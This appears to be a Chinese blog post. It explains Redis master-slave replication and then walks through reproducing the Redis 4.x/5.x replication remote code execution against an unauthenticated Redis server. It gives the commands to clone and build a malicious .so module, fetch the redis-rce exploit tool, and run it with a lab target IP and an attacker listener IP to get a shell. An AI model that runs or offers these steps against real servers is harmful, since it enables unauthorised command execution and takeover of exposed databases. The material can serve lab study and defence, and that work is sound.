redis一般用来干嘛_redis主从复制getshell

先解释一下主从复制:

主从复制,是用来建立一个和主数据库完全一样的数据库环境,称为从数据库,主数据库一般是准实时的业务数据库。一台服务器充当主服务器,而另外一台服务器充当从服务器。

此时主服务器会将更新信息写入到一个特定的二进制文件中,并会维护文件的一个索引用来跟踪日志循环,这个日志可以记录并发送到从服务器的更新中去。

一台从服务器连接到主服务器时,从服务器会通知主服务器从服务器的日志文件中读取最后一次成功更新的位置。然后从服务器会接收从哪个时刻起发生的任何更新,然后锁住并等到主服务器通知新的更新。

读写分离简单俩说就是基于主从复制架构,一个主库,有多个从库,主库主要负责写,写完后主库会自动把数据给同步给从库。

关于redis主从复制getshell:

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

复现:

攻击机:kali  192.168.148.149     python

靶机:centos7 192.168.148.142          redis未授权访问

Kali上生成恶意.so文件:

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

cd RedisModules-ExecuteCommand/

make

42f955607dcc3976ea68cf486e4fc9f0.png

然后下载利用工具,然后把刚刚生成恶意.so文件移至利用工具目录下

git clone https://github.com/Ridter/redis-rce

mv module.so/root/redis/RedisModules-ExecuteCommand/redis-rce/

9582a1ac31b48ea6ca6601d7f0625b74.png

64762966a6aed1532cc57377e2a2846c.png

最后在kali上运行py文件getshell

python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f恶意.so

python redis-rce.py -r 192.168.148.142 -p6379 -L 192.168.148.149 -f module.so

ee76e26e2eb877d2d8ddc2199851a5b4.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值